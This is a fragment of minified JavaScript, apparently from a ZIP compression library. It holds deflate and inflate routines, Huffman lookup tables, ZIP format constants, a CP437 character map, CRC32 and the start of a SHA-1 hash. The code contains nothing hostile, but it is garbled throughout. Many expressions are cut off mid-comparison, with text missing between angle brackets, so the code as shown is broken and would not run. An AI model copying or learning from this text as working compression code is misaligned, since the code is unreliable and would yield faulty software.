if(ie==-1)ie--;else if(F>=l+l-262){x.set(x.subarray(l,l+l),0),q-=l,F-=l,g-=l,X=oe,ne=X;do Q=65535&N[--ne],N[ne]=Q>=l?Q-l:0;while(--X!=0);X=l,ne=X;do Q=65535&T[--ne],T[ne]=Q>=l?Q-l:0;while(--X!=0);ie+=l}if(r.avail_in===0)return;X=r.read_buf(x,F+S,ie),S+=X,S>=3&&(W=255&x[F],W=(W<l-262?F-(l-262):0,Me=ye,De=m,Be=F+258,Ve=x[J+_e-1],St=x[J+_e];ee>=ue&&(ie>>=2),Me>S&&(Me=S);do if(Q=X,x[Q+_e]==St&&x[Q+_e-1]==Ve&&x[Q]==x[J]&&x[++Q]==x[J+1]){J+=2,Q++;do;while(x[++J]==x[++Q]&&x[++J]==x[++Q]&&x[++J]==x[++Q]&&x[++J]==x[++Q]&&x[++J]==x[++Q]&&x[++J]==x[++Q]&&x[++J]==x[++Q]&&x[++J]==x[++Q]&&J_e){if(q=X,_e=ne,ne>=Me)break;Ve=x[J+_e-1],St=x[J+_e]}}while((X=65535&T[X&De])>be&&--ie!=0);return _e<=S?_e:S}function vr(X){return X.total_in=X.total_out=0,X.msg=null,o.pending=0,o.pending_out=0,i=113,h=0,yt.dyn_tree=ge,yt.stat_desc=Te.static_l_desc,kt.dyn_tree=ce,kt.stat_desc=Te.static_d_desc,he.dyn_tree=xe,he.stat_desc=Te.static_bl_desc,tt=0,Pe=0,en=8,Ci(),function(){A=2*l,N[oe-1]=0;for(let Q=0;Q9||ie!=8||ne<9||ne>15||Q<0||Q>9||_e<0||_e>2?-2:(X.dstate=o,f=ne,l=1<9||ne<0||ne>2?-2:(We[K].func!=We[Q].func&&X.total_in!==0&&(ie=X.deflate(1)),K!=Q&&(K=Q,se=We[K].max_lazy,ue=We[K].good_length,ye=We[K].nice_length,pe=We[K].max_chain),z=ne,ie)},o.deflateSetDictionary=function(X,Q,ne){let ie,J=ne,_e=0;if(!Q||i!=42)return-2;if(J<3)return 0;for(J>l-262&&(J=l-262,_e=ne-J),x.set(Q.subarray(_e,_e+J),0),F=J,g=J,W=255&x[0],W=(W<4||Q<0)return-2;if(!X.next_out||!X.next_in&&X.avail_in!==0||i==666&&Q!=4)return X.msg=$t[4],-2;if(X.avail_out===0)return X.msg=$t[7],-5;var Me;if(r=X,_e=h,h=Q,i==42&&(ie=8+(f-8<<4)<<8,J=(K-1&255)>>1,J>3&&(J=3),ie|=J<<6,F!==0&&(ie|=32),ie+=31-ie%31,i=113,Ht((Me=ie)>>8&255),Ht(255&Me)),o.pending!==0){if(r.flush_pending(),r.avail_out===0)return h=-1,0}else if(r.avail_in===0&&Q<=_e&&Q!=4)return r.msg=$t[7],-5;if(i==666&&r.avail_in!==0)return X.msg=$t[7],-5;if(r.avail_in!==0||S!==0||Q!=0&&i!=666){switch(be=-1,We[K].func){case 0:be=function(De){let Be,Ve=65535;for(Ve>d-5&&(Ve=d-5);;){if(S<=1){if(Kn(),S===0&&De==0)return 0;if(S===0)break}if(F+=S,S=0,Be=g+Ve,(F===0||F>=Be)&&(S=F-Be,F=Be,At(!1),r.avail_out===0)||F-g>=l-262&&(At(!1),r.avail_out===0))return 0}return At(De==4),r.avail_out===0?De==4?2:0:De==4?3:1}(Q);break;case 1:be=function(De){let Be,Ve=0;for(;;){if(S<262){if(Kn(),S<262&&De==0)return 0;if(S===0)break}if(S>=3&&(W=(W<=3)if(Be=nn(F-q,R-3),S-=R,R<=se&&S>=3){R--;do F++,W=(W<=3&&(W=(W<4096)&&(R=2)),ee>=3&&R<=ee){Ve=F+S-3,Be=nn(F-1-j,ee-3),S-=ee-1,ee-=2;do++F<=Ve&&(W=(W<0&&r.next_in_index!=A&&(f(r.next_in_index),A=r.next_in_index)}while(r.avail_in>0||r.avail_out===0);return W.length>1?(x=new Uint8Array(N),W.forEach(function(oe){x.set(oe,T),T+=oe.length})):x=W[0]||new Uint8Array(0),x}},this.flush=function(){let l,f,m=0,x=0,A=[];do{if(r.next_out_index=0,r.avail_out=i,l=r.deflate(4),l!=1&&l!=0)throw new Error("deflating: "+r.msg);i-r.avail_out>0&&A.push(d.slice(0,r.next_out_index)),x+=r.next_out_index}while(r.avail_in>0||r.avail_out===0);return r.deflateEnd(),f=new Uint8Array(x),A.forEach(function(T){f.set(T,m),m+=T.length}),f}}mt.prototype={deflateInit:function(o,r){let i=this;return i.dstate=new Pn,r||(r=15),i.dstate.deflateInit(i,o,r)},deflate:function(o){let r=this;return r.dstate?r.dstate.deflate(r,o):-2},deflateEnd:function(){let o=this;if(!o.dstate)return-2;let r=o.dstate.deflateEnd();return o.dstate=null,r},deflateParams:function(o,r){let i=this;return i.dstate?i.dstate.deflateParams(i,o,r):-2},deflateSetDictionary:function(o,r){let i=this;return i.dstate?i.dstate.deflateSetDictionary(i,o,r):-2},read_buf:function(o,r,i){let d=this,h=d.avail_in;return h>i&&(h=i),h===0?0:(d.avail_in-=h,o.set(d.next_in.subarray(d.next_in_index,d.next_in_index+h),r),d.next_in_index+=h,d.total_in+=h,h)},flush_pending:function(){let o=this,r=o.dstate.pending;r>o.avail_out&&(r=o.avail_out),r!==0&&(o.next_out.set(o.dstate.pending_buf.subarray(o.dstate.pending_out,o.dstate.pending_out+r),o.next_out_index),o.next_out_index+=r,o.dstate.pending_out+=r,o.total_out+=r,o.avail_out-=r,o.dstate.pending-=r,o.dstate.pending===0&&(o.dstate.pending_out=0))}};let He=[0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535],je=[96,7,256,0,8,80,0,8,16,84,8,115,82,7,31,0,8,112,0,8,48,0,9,192,80,7,10,0,8,96,0,8,32,0,9,160,0,8,0,0,8,128,0,8,64,0,9,224,80,7,6,0,8,88,0,8,24,0,9,144,83,7,59,0,8,120,0,8,56,0,9,208,81,7,17,0,8,104,0,8,40,0,9,176,0,8,8,0,8,136,0,8,72,0,9,240,80,7,4,0,8,84,0,8,20,85,8,227,83,7,43,0,8,116,0,8,52,0,9,200,81,7,13,0,8,100,0,8,36,0,9,168,0,8,4,0,8,132,0,8,68,0,9,232,80,7,8,0,8,92,0,8,28,0,9,152,84,7,83,0,8,124,0,8,60,0,9,216,82,7,23,0,8,108,0,8,44,0,9,184,0,8,12,0,8,140,0,8,76,0,9,248,80,7,3,0,8,82,0,8,18,85,8,163,83,7,35,0,8,114,0,8,50,0,9,196,81,7,11,0,8,98,0,8,34,0,9,164,0,8,2,0,8,130,0,8,66,0,9,228,80,7,7,0,8,90,0,8,26,0,9,148,84,7,67,0,8,122,0,8,58,0,9,212,82,7,19,0,8,106,0,8,42,0,9,180,0,8,10,0,8,138,0,8,74,0,9,244,80,7,5,0,8,86,0,8,22,192,8,0,83,7,51,0,8,118,0,8,54,0,9,204,81,7,15,0,8,102,0,8,38,0,9,172,0,8,6,0,8,134,0,8,70,0,9,236,80,7,9,0,8,94,0,8,30,0,9,156,84,7,99,0,8,126,0,8,62,0,9,220,82,7,27,0,8,110,0,8,46,0,9,188,0,8,14,0,8,142,0,8,78,0,9,252,96,7,256,0,8,81,0,8,17,85,8,131,82,7,31,0,8,113,0,8,49,0,9,194,80,7,10,0,8,97,0,8,33,0,9,162,0,8,1,0,8,129,0,8,65,0,9,226,80,7,6,0,8,89,0,8,25,0,9,146,83,7,59,0,8,121,0,8,57,0,9,210,81,7,17,0,8,105,0,8,41,0,9,178,0,8,9,0,8,137,0,8,73,0,9,242,80,7,4,0,8,85,0,8,21,80,8,258,83,7,43,0,8,117,0,8,53,0,9,202,81,7,13,0,8,101,0,8,37,0,9,170,0,8,5,0,8,133,0,8,69,0,9,234,80,7,8,0,8,93,0,8,29,0,9,154,84,7,83,0,8,125,0,8,61,0,9,218,82,7,23,0,8,109,0,8,45,0,9,186,0,8,13,0,8,141,0,8,77,0,9,250,80,7,3,0,8,83,0,8,19,85,8,195,83,7,35,0,8,115,0,8,51,0,9,198,81,7,11,0,8,99,0,8,35,0,9,166,0,8,3,0,8,131,0,8,67,0,9,230,80,7,7,0,8,91,0,8,27,0,9,150,84,7,67,0,8,123,0,8,59,0,9,214,82,7,19,0,8,107,0,8,43,0,9,182,0,8,11,0,8,139,0,8,75,0,9,246,80,7,5,0,8,87,0,8,23,192,8,0,83,7,51,0,8,119,0,8,55,0,9,206,81,7,15,0,8,103,0,8,39,0,9,174,0,8,7,0,8,135,0,8,71,0,9,238,80,7,9,0,8,95,0,8,31,0,9,158,84,7,99,0,8,127,0,8,63,0,9,222,82,7,27,0,8,111,0,8,47,0,9,190,0,8,15,0,8,143,0,8,79,0,9,254,96,7,256,0,8,80,0,8,16,84,8,115,82,7,31,0,8,112,0,8,48,0,9,193,80,7,10,0,8,96,0,8,32,0,9,161,0,8,0,0,8,128,0,8,64,0,9,225,80,7,6,0,8,88,0,8,24,0,9,145,83,7,59,0,8,120,0,8,56,0,9,209,81,7,17,0,8,104,0,8,40,0,9,177,0,8,8,0,8,136,0,8,72,0,9,241,80,7,4,0,8,84,0,8,20,85,8,227,83,7,43,0,8,116,0,8,52,0,9,201,81,7,13,0,8,100,0,8,36,0,9,169,0,8,4,0,8,132,0,8,68,0,9,233,80,7,8,0,8,92,0,8,28,0,9,153,84,7,83,0,8,124,0,8,60,0,9,217,82,7,23,0,8,108,0,8,44,0,9,185,0,8,12,0,8,140,0,8,76,0,9,249,80,7,3,0,8,82,0,8,18,85,8,163,83,7,35,0,8,114,0,8,50,0,9,197,81,7,11,0,8,98,0,8,34,0,9,165,0,8,2,0,8,130,0,8,66,0,9,229,80,7,7,0,8,90,0,8,26,0,9,149,84,7,67,0,8,122,0,8,58,0,9,213,82,7,19,0,8,106,0,8,42,0,9,181,0,8,10,0,8,138,0,8,74,0,9,245,80,7,5,0,8,86,0,8,22,192,8,0,83,7,51,0,8,118,0,8,54,0,9,205,81,7,15,0,8,102,0,8,38,0,9,173,0,8,6,0,8,134,0,8,70,0,9,237,80,7,9,0,8,94,0,8,30,0,9,157,84,7,99,0,8,126,0,8,62,0,9,221,82,7,27,0,8,110,0,8,46,0,9,189,0,8,14,0,8,142,0,8,78,0,9,253,96,7,256,0,8,81,0,8,17,85,8,131,82,7,31,0,8,113,0,8,49,0,9,195,80,7,10,0,8,97,0,8,33,0,9,163,0,8,1,0,8,129,0,8,65,0,9,227,80,7,6,0,8,89,0,8,25,0,9,147,83,7,59,0,8,121,0,8,57,0,9,211,81,7,17,0,8,105,0,8,41,0,9,179,0,8,9,0,8,137,0,8,73,0,9,243,80,7,4,0,8,85,0,8,21,80,8,258,83,7,43,0,8,117,0,8,53,0,9,203,81,7,13,0,8,101,0,8,37,0,9,171,0,8,5,0,8,133,0,8,69,0,9,235,80,7,8,0,8,93,0,8,29,0,9,155,84,7,83,0,8,125,0,8,61,0,9,219,82,7,23,0,8,109,0,8,45,0,9,187,0,8,13,0,8,141,0,8,77,0,9,251,80,7,3,0,8,83,0,8,19,85,8,195,83,7,35,0,8,115,0,8,51,0,9,199,81,7,11,0,8,99,0,8,35,0,9,167,0,8,3,0,8,131,0,8,67,0,9,231,80,7,7,0,8,91,0,8,27,0,9,151,84,7,67,0,8,123,0,8,59,0,9,215,82,7,19,0,8,107,0,8,43,0,9,183,0,8,11,0,8,139,0,8,75,0,9,247,80,7,5,0,8,87,0,8,23,192,8,0,83,7,51,0,8,119,0,8,55,0,9,207,81,7,15,0,8,103,0,8,39,0,9,175,0,8,7,0,8,135,0,8,71,0,9,239,80,7,9,0,8,95,0,8,31,0,9,159,84,7,99,0,8,127,0,8,63,0,9,223,82,7,27,0,8,111,0,8,47,0,9,191,0,8,15,0,8,143,0,8,79,0,9,255],Ye=[80,5,1,87,5,257,83,5,17,91,5,4097,81,5,5,89,5,1025,85,5,65,93,5,16385,80,5,3,88,5,513,84,5,33,92,5,8193,82,5,9,90,5,2049,86,5,129,192,5,24577,80,5,2,87,5,385,83,5,25,91,5,6145,81,5,7,89,5,1537,85,5,97,93,5,24577,80,5,4,88,5,769,84,5,49,92,5,12289,82,5,13,90,5,3073,86,5,193,192,5,24577],hn=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,0,0],qn=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,112,112],mn=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577],Vn=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];function bt(){let o,r,i,d,h,l;function f(x,A,T,N,W,oe,k,P,p,g,R){let j,te,F,q,S,ee,pe,se,K,z,ue,ye,ge,ce,xe;z=0,S=T;do i[x[A+z]]++,z++,S--;while(S!==0);if(i[0]==T)return k[0]=-1,P[0]=0,0;for(se=P[0],ee=1;ee<=15&&i[ee]===0;ee++);for(pe=ee,seS&&(se=S),P[0]=se,ce=1<ye+se;){if(q++,ye+=se,xe=F-ye,xe=xe>se?se:xe,(te=1<<(ee=pe-ye))>j+1&&(te-=j+1,ge=pe,ee1440)return-3;h[q]=ue=g[0],g[0]+=xe,q!==0?(l[q]=S,d[0]=ee,d[1]=se,ee=S>>>ye-se,d[2]=ue-h[q-1]-ee,p.set(d,3*(h[q-1]+ee))):k[0]=ue}for(d[1]=pe-ye,z>=T?d[0]=192:R[z]>>ye;ee>>=1)S^=ee;for(S^=ee,K=(1<257?(g==-3?p.msg="oversubscribed distance tree":g==-5?(p.msg="incomplete distance tree",g=-3):g!=-4&&(p.msg="empty distance tree with lengths",g=-3),g):0)}}function bn(){let o=this,r,i,d,h,l=0,f=0,m=0,x=0,A=0,T=0,N=0,W=0,oe=0,k=0;function P(p,g,R,j,te,F,q,S){let ee,pe,se,K,z,ue,ye,ge,ce,xe,yt,kt,he,Et,Re,Ie;ye=S.next_in_index,ge=S.avail_in,z=q.bitb,ue=q.bitk,ce=q.write,xe=ce>=pe[Ie+1],ue-=pe[Ie+1],(16&K)!=0){for(K&=15,he=pe[Ie+2]+(z&He[K]),z>>=K,ue-=K;ue<15;)ge--,z|=(255&S.read_byte(ye++))<>=pe[Ie+1],ue-=pe[Ie+1],(16&K)!=0){for(K&=15;ue>=K,ue-=K,xe-=he,ce>=Et)Re=ce-Et,ce-Re>0&&2>ce-Re?(q.window[ce++]=q.window[Re++],q.window[ce++]=q.window[Re++],he-=2):(q.window.set(q.window.subarray(Re,Re+2),ce),ce+=2,Re+=2,he-=2);else{Re=ce-Et;do Re+=q.end;while(Re<0);if(K=q.end-Re,he>K){if(he-=K,ce-Re>0&&K>ce-Re)do q.window[ce++]=q.window[Re++];while(--K!=0);else q.window.set(q.window.subarray(Re,Re+K),ce),ce+=K,Re+=K,K=0;Re=0}}if(ce-Re>0&&he>ce-Re)do q.window[ce++]=q.window[Re++];while(--he!=0);else q.window.set(q.window.subarray(Re,Re+he),ce),ce+=he,Re+=he,he=0;break}if(64&K)return S.msg="invalid distance code",he=S.avail_in-ge,he=ue>>3>3:he,ge+=he,ye-=he,ue-=he<<3,q.bitb=z,q.bitk=ue,S.avail_in=ge,S.total_in+=ye-S.next_in_index,S.next_in_index=ye,q.write=ce,-3;ee+=pe[Ie+2],ee+=z&He[K],Ie=3*(se+ee),K=pe[Ie]}break}if(64&K)return 32&K?(he=S.avail_in-ge,he=ue>>3>3:he,ge+=he,ye-=he,ue-=he<<3,q.bitb=z,q.bitk=ue,S.avail_in=ge,S.total_in+=ye-S.next_in_index,S.next_in_index=ye,q.write=ce,1):(S.msg="invalid literal/length code",he=S.avail_in-ge,he=ue>>3>3:he,ge+=he,ye-=he,ue-=he<<3,q.bitb=z,q.bitk=ue,S.avail_in=ge,S.total_in+=ye-S.next_in_index,S.next_in_index=ye,q.write=ce,-3);if(ee+=pe[Ie+2],ee+=z&He[K],Ie=3*(se+ee),(K=pe[Ie])===0){z>>=pe[Ie+1],ue-=pe[Ie+1],q.window[ce++]=pe[Ie+2],xe--;break}}else z>>=pe[Ie+1],ue-=pe[Ie+1],q.window[ce++]=pe[Ie+2],xe--}while(xe>=258&&ge>=10);return he=S.avail_in-ge,he=ue>>3>3:he,ge+=he,ye-=he,ue-=he<<3,q.bitb=z,q.bitk=ue,S.avail_in=ge,S.total_in+=ye-S.next_in_index,S.next_in_index=ye,q.write=ce,0}o.init=function(p,g,R,j,te,F){r=0,N=p,W=g,d=R,oe=j,h=te,k=F,i=null},o.proc=function(p,g,R){let j,te,F,q,S,ee,pe,se=0,K=0,z=0;for(z=g.next_in_index,q=g.avail_in,se=p.bitb,K=p.bitk,S=p.write,ee=S=258&&q>=10&&(p.bitb=se,p.bitk=K,g.avail_in=q,g.total_in+=z-g.next_in_index,g.next_in_index=z,p.write=S,R=P(N,W,d,oe,h,k,p,g),z=g.next_in_index,q=g.avail_in,se=p.bitb,K=p.bitk,S=p.write,ee=S>>=i[te+1],K-=i[te+1],F=i[te],F===0){x=i[te+2],r=6;break}if(16&F){A=15&F,l=i[te+2],r=2;break}if(!(64&F)){m=F,f=te/3+i[te+2];break}if(32&F){r=7;break}return r=9,g.msg="invalid literal/length code",R=-3,p.bitb=se,p.bitk=K,g.avail_in=q,g.total_in+=z-g.next_in_index,g.next_in_index=z,p.write=S,p.inflate_flush(g,R);case 2:for(j=A;K>=j,K-=j,m=W,i=h,f=k,r=3;case 3:for(j=m;K>=i[te+1],K-=i[te+1],F=i[te],(16&F)!=0){A=15&F,T=i[te+2],r=4;break}if(!(64&F)){m=F,f=te/3+i[te+2];break}return r=9,g.msg="invalid distance code",R=-3,p.bitb=se,p.bitk=K,g.avail_in=q,g.total_in+=z-g.next_in_index,g.next_in_index=z,p.write=S,p.inflate_flush(g,R);case 4:for(j=A;K>=j,K-=j,r=5;case 5:for(pe=S-T;pe<0;)pe+=p.end;for(;l!==0;){if(ee===0&&(S==p.end&&p.read!==0&&(S=0,ee=S7&&(K-=8,q++,z--),p.write=S,R=p.inflate_flush(g,R),S=p.write,ee=Sk.avail_out&&(p=k.avail_out),p!==0&&P==-5&&(P=0),k.avail_out-=p,k.total_out+=p,k.next_out.set(i.window.subarray(R,R+p),g),g+=p,R+=p,R==i.end&&(R=0,i.write==i.end&&(i.write=0),p=i.write-R,p>k.avail_out&&(p=k.avail_out),p!==0&&P==-5&&(P=0),k.avail_out-=p,k.total_out+=p,k.next_out.set(i.window.subarray(R,R+p),g),g+=p,R+=p),k.next_out_index=g,i.read=R,P},i.proc=function(k,P){let p,g,R,j,te,F,q,S;for(j=k.next_in_index,te=k.avail_in,g=i.bitb,R=i.bitk,F=i.write,q=F>>1){case 0:g>>>=3,R-=3,p=7&R,g>>>=p,R-=p,h=1;break;case 1:ee=[],pe=[],se=[[]],K=[[]],bt.inflate_trees_fixed(ee,pe,se,K),T.init(ee[0],pe[0],se[0],0,K[0],0),g>>>=3,R-=3,h=6;break;case 2:g>>>=3,R-=3,h=3;break;case 3:return g>>>=3,R-=3,h=9,k.msg="invalid block type",P=-3,i.bitb=g,i.bitk=R,k.avail_in=te,k.total_in+=j-k.next_in_index,k.next_in_index=j,i.write=F,i.inflate_flush(k,P)}break;case 1:for(;R<32;){if(te===0)return i.bitb=g,i.bitk=R,k.avail_in=te,k.total_in+=j-k.next_in_index,k.next_in_index=j,i.write=F,i.inflate_flush(k,P);P=0,te--,g|=(255&k.read_byte(j++))<>>16&65535)!=(65535&g))return h=9,k.msg="invalid stored block lengths",P=-3,i.bitb=g,i.bitk=R,k.avail_in=te,k.total_in+=j-k.next_in_index,k.next_in_index=j,i.write=F,i.inflate_flush(k,P);l=65535&g,g=R=0,h=l!==0?2:N!==0?7:0;break;case 2:if(te===0||q===0&&(F==i.end&&i.read!==0&&(F=0,q=Fte&&(p=te),p>q&&(p=q),i.window.set(k.read_buf(j,p),F),j+=p,te-=p,F+=p,q-=p,(l-=p)!=0)break;h=N!==0?7:0;break;case 3:for(;R<14;){if(te===0)return i.bitb=g,i.bitk=R,k.avail_in=te,k.total_in+=j-k.next_in_index,k.next_in_index=j,i.write=F,i.inflate_flush(k,P);P=0,te--,g|=(255&k.read_byte(j++))<29||(p>>5&31)>29)return h=9,k.msg="too many length or distance symbols",P=-3,i.bitb=g,i.bitk=R,k.avail_in=te,k.total_in+=j-k.next_in_index,k.next_in_index=j,i.write=F,i.inflate_flush(k,P);if(p=258+(31&p)+(p>>5&31),!d||d.length>>=14,R-=14,m=0,h=4;case 4:for(;m<4+(f>>>10);){for(;R<3;){if(te===0)return i.bitb=g,i.bitk=R,k.avail_in=te,k.total_in+=j-k.next_in_index,k.next_in_index=j,i.write=F,i.inflate_flush(k,P);P=0,te--,g|=(255&k.read_byte(j++))<>>=3,R-=3}for(;m<19;)d[Jt[m++]]=0;if(x[0]=7,p=oe.inflate_trees_bits(d,x,A,W,k),p!=0)return(P=p)==-3&&(d=null,h=9),i.bitb=g,i.bitk=R,k.avail_in=te,k.total_in+=j-k.next_in_index,k.next_in_index=j,i.write=F,i.inflate_flush(k,P);m=0,h=5;case 5:for(;p=f,!(m>=258+(31&p)+(p>>5&31));){let ce,xe;for(p=x[0];R>>=p,R-=p,d[m++]=xe;else{for(S=xe==18?7:xe-14,ce=xe==18?11:3;R>>=p,R-=p,ce+=g&He[S],g>>>=S,R-=S,S=m,p=f,S+ce>258+(31&p)+(p>>5&31)||xe==16&&S<1)return d=null,h=9,k.msg="invalid bit length repeat",P=-3,i.bitb=g,i.bitk=R,k.avail_in=te,k.total_in+=j-k.next_in_index,k.next_in_index=j,i.write=F,i.inflate_flush(k,P);xe=xe==16?d[S-1]:0;do d[S++]=xe;while(--ce!=0);m=S}}if(A[0]=-1,z=[],ue=[],ye=[],ge=[],z[0]=9,ue[0]=6,p=f,p=oe.inflate_trees_dynamic(257+(31&p),1+(p>>5&31),d,z,ue,ye,ge,W,k),p!=0)return p==-3&&(d=null,h=9),P=p,i.bitb=g,i.bitk=R,k.avail_in=te,k.total_in+=j-k.next_in_index,k.next_in_index=j,i.write=F,i.inflate_flush(k,P);T.init(z[0],ue[0],W,ye[0],W,ge[0]),h=6;case 6:if(i.bitb=g,i.bitk=R,k.avail_in=te,k.total_in+=j-k.next_in_index,k.next_in_index=j,i.write=F,(P=T.proc(i,k,P))!=1)return i.inflate_flush(k,P);if(P=0,T.free(k),j=k.next_in_index,te=k.avail_in,g=i.bitb,R=i.bitk,F=i.write,q=F15?(o.inflateEnd(i),-2):(o.wbits=d,i.istate.blocks=new Wn(i,1<>4)>f.wbits){f.mode=13,i.msg="invalid window size",f.marker=5;break}f.mode=1;case 1:if(i.avail_in===0)return h;if(h=d,i.avail_in--,i.total_in++,l=255&i.read_byte(i.next_in_index++),((f.method<<8)+l)%31!=0){f.mode=13,i.msg="incorrect header check",f.marker=5;break}if(!(32&l)){f.mode=7;break}f.mode=2;case 2:if(i.avail_in===0)return h;h=d,i.avail_in--,i.total_in++,f.need=(255&i.read_byte(i.next_in_index++))<<24&4278190080,f.mode=3;case 3:if(i.avail_in===0)return h;h=d,i.avail_in--,i.total_in++,f.need+=(255&i.read_byte(i.next_in_index++))<<16&16711680,f.mode=4;case 4:if(i.avail_in===0)return h;h=d,i.avail_in--,i.total_in++,f.need+=(255&i.read_byte(i.next_in_index++))<<8&65280,f.mode=5;case 5:return i.avail_in===0?h:(h=d,i.avail_in--,i.total_in++,f.need+=255&i.read_byte(i.next_in_index++),f.mode=6,2);case 6:return f.mode=13,i.msg="need dictionary",f.marker=0,-2;case 7:if(h=f.blocks.proc(i,h),h==-3){f.mode=13,f.marker=0;break}if(h==0&&(h=d),h!=1)return h;h=d,f.blocks.reset(i,f.was),f.mode=12;case 12:return 1;case 13:return-3;default:return-2}},o.inflateSetDictionary=function(i,d,h){let l=0,f=h;if(!i||!i.istate||i.istate.mode!=6)return-2;let m=i.istate;return f>=1<0&&r.next_in_index!=T&&(f(r.next_in_index),T=r.next_in_index)}while(r.avail_in>0||r.avail_out===0);return m.length>1?(A=new Uint8Array(W),m.forEach(function(oe){A.set(oe,N),N+=oe.length})):A=m[0]||new Uint8Array(0),A}},this.flush=function(){r.inflateEnd()}}rt.prototype={inflateInit:function(o){let r=this;return r.istate=new Gn,o||(o=15),r.istate.inflateInit(r,o)},inflate:function(o){let r=this;return r.istate?r.istate.inflate(r,o):-2},inflateEnd:function(){let o=this;if(!o.istate)return-2;let r=o.istate.inflateEnd(o);return o.istate=null,r},inflateSync:function(){let o=this;return o.istate?o.istate.inflateSync(o):-2},inflateSetDictionary:function(o,r){let i=this;return i.istate?i.istate.inflateSetDictionary(i,o,r):-2},read_byte:function(o){return this.next_in[o]},read_buf:function(o,r){return this.next_in.subarray(o,o+r)}},self.initCodec=()=>{self.Deflate=Dt,self.Inflate=Qt}}).toString(),t=URL.createObjectURL(new Blob(["("+n+")()"],{type:"text/javascript"}));Ja({workerScripts:{inflate:[t],deflate:[t]}})}},xa="text/plain",Mn=class{constructor(){this.size=0}init(){this.initialized=!0}},mi=class extends Mn{},jn=class extends Mn{writeUint8Array(t){this.size+=t.length}},bi=class extends jn{constructor(t){super(),this.encoding=t,this.blob=new Blob([],{type:xa})}async writeUint8Array(t){super.writeUint8Array(t),this.blob=new Blob([this.blob,t.buffer],{type:xa})}getData(){let t=new FileReader;return new Promise((e,a)=>{t.onload=s=>e(s.target.result),t.onerror=a,t.readAsText(this.blob,this.encoding)})}},Nn=class extends mi{constructor(t){super(),this.blob=t,this.size=t.size}async readUint8Array(t,e){let a=new FileReader;return new Promise((s,c)=>{a.onload=u=>s(new Uint8Array(u.target.result)),a.onerror=c,a.readAsArrayBuffer(this.blob.slice(t,t+e))})}},pn=class extends jn{constructor(t){super(),this.offset=0,this.contentType=t,this.blob=new Blob([],{type:t})}async writeUint8Array(t){super.writeUint8Array(t),this.blob=new Blob([this.blob,t.buffer],{type:this.contentType}),this.offset=this.blob.size}getData(){return this.blob}},wi=4294967295,ha=65535,ms=8,bs=0,ws=99,gs=67324752,ma=33639248,vs=101010256,ba=101075792,ys=117853008,wa=22,ii=20,ai=56,ks=1,Es=39169,As=28789,Ss=25461,ga=1,Is=6,va=8,ya=2048,ka=16,Ts="/",Us="\0\u263A\u263B\u2665\u2666\u2663\u2660\u2022\u25D8\u25CB\u25D9\u2642\u2640\u266A\u266B\u263C\u25BA\u25C4\u2195\u203C\xB6\xA7\u25AC\u21A8\u2191\u2193\u2192\u2190\u221F\u2194\u25B2\u25BC !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\u2302\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\xEC\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\xFF\xD6\xDC\xA2\xA3\xA5\u20A7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\u2310\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0 ".split(""),Rs=n=>{let t="";for(let e=0;e>>1^3988292384:t=t>>>1;Qa[n]=t}var jt=class{constructor(t){this.crc=t||-1}append(t){let e=this.crc|0;for(let a=0,s=t.length|0;a>>8^Qa[(e^t[a])&255];this.crc=e}get(){return~this.crc}},Ke={concat(n,t){if(n.length===0||t.length===0)return n.concat(t);let e=n[n.length-1],a=Ke.getPartial(e);return a===32?n.concat(t):Ke._shiftRight(t,a,e|0,n.slice(0,n.length-1))},bitLength(n){let t=n.length;if(t===0)return 0;let e=n[t-1];return(t-1)*32+Ke.getPartial(e)},clamp(n,t){if(n.length*320&&t&&(n[e-1]=Ke.partial(t,n[e-1]&2147483648>>t-1,1)),n},partial(n,t,e){return n===32?t:(e?t|0:t<<32-n)+n*1099511627776},getPartial(n){return Math.round(n/1099511627776)||32},_shiftRight(n,t,e,a){for(a===void 0&&(a=[]);t>=32;t-=32)a.push(e),e=0;if(t===0)return a.concat(n);for(let u=0;u>>t),e=n[u]<<32-t;let s=n.length?n[n.length-1]:0,c=Ke.getPartial(s);return a.push(Ke.partial(t+c&31,t+c>32?e:a.pop(),1)),a}},za={bytes:{fromBits(n){let e=Ke.bitLength(n)/8,a=new Uint8Array(e),s;for(let c=0;c>>24,s<<=8;return a},toBits(n){let t=[],e,a=0;for(e=0;e9007199254740991)throw new Error("Cannot hash more than 2^53 - 1 bits");let c=new Uint32Array(e),u=0;for(let v=t.blockSize+a-(t.blockSize+a&t.blockSize-1);v<=s;v+=t.blockSize)t._block(c.subarray(16*u,16*(u+1))),u+=1;return e.splice(0,16*u),t},finalize:function(){let n=this,t=n._buffer,e=n._h;t=Ke.concat(t,[Ke.partial(1,1)]);for(let a=t.length+2;a&15;a++)t.push(0);for(t.push(Math.floor(n._length/4294967296)),t.push(n._length|0);t.length;)n._block(t.splice(0,16));return n.reset(),e},_init:[1732584193,4023233417,2562383102,271733878,3285377520],_key:[1518500249,1859775393,2400959708,3395469782],_f:function(n,t,e,a){if(n<=19)return t&e|~t&a;if(n<=39)return t^e^a;if(n<=59)return 